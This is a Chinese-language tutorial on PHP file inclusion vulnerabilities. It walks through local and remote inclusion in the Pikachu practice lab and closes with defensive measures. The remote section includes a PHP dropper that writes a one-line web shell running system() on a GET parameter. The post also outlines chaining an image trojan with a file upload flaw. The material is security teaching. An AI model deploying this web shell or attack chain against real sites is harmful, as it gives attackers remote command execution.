一、文件包含漏洞概述
在web后台开发中,程序员往往为了提高效率以及让代码看起来简洁,会使用"包含"函数功能。例如把一些功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用函数代码。
但是有些时候,因为网站功能的需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了"包含"功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置让后台执行任意文件(代码)。
这种情况我们就成为"文件包含"漏洞,文件包含漏洞有"本地文件包含漏洞"和"远程文件包含漏洞"两种情况。
二、本地文件包含漏洞测试
1、我们来到pikachu平台的File Inclusion(local)模块。我们在选择菜单里,随便选择一个,点击"提交查询"。
2、那我们尝试修改传入后台的文件。
3、下面我们来看一下源码
三、远程文件包含漏洞测试
远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码~
注意:
远程包含漏洞的前提:如果使用的是include和require,我们则需要对php.ini进行如下配置:
allow_url_fopen = on //默认打开
Allow_url_include=on //默认关闭。
1、首先检查我们的php.ini配置文件是否需要改动,如果进行了改动,记得重启PHPstudy服务。
2、来到对应的测试模块页面
2、我们在站点的根目录下新建一个pikachu文件夹,在文件夹里新建一个yijuhua.txt
文本文档的内容如下:
<?php
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
3、我们通过192.168.33.253站点访问我们新建的yijuhua.txt文件。并且将URL地址栏中的值复制。
4、执行下图中的操作。
5、然后我们点击提交。来到资源管理器查看
6、然后我们进行远程的调用。
四、文件包含漏洞之文件上传漏洞的利用
如果你发现了一个包含本地文件包含漏洞的网站,或许我们只可以查看一些文件。
那么我们呢可以进行更深层次的利用。
刚好这个时候我们在这个网站上又发现了一个文件上传漏洞。我们可以将两者结合。
思路:
- 制作一个图片木马,通过文件上传漏洞上传
- 通过文件包含漏洞对该图片木马进行"包含"
- 获取执行结果
五、文件包含漏洞常见防范措施
1、在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。
2、过滤各种../../,http://,https://
3、配置php.ini配置文件:
allow_url_fopen = off
allow_url_include=off
magic_quotes_gpc=on
4、通过白名单策略,仅允许包含运行指定的文件,其他的都禁止。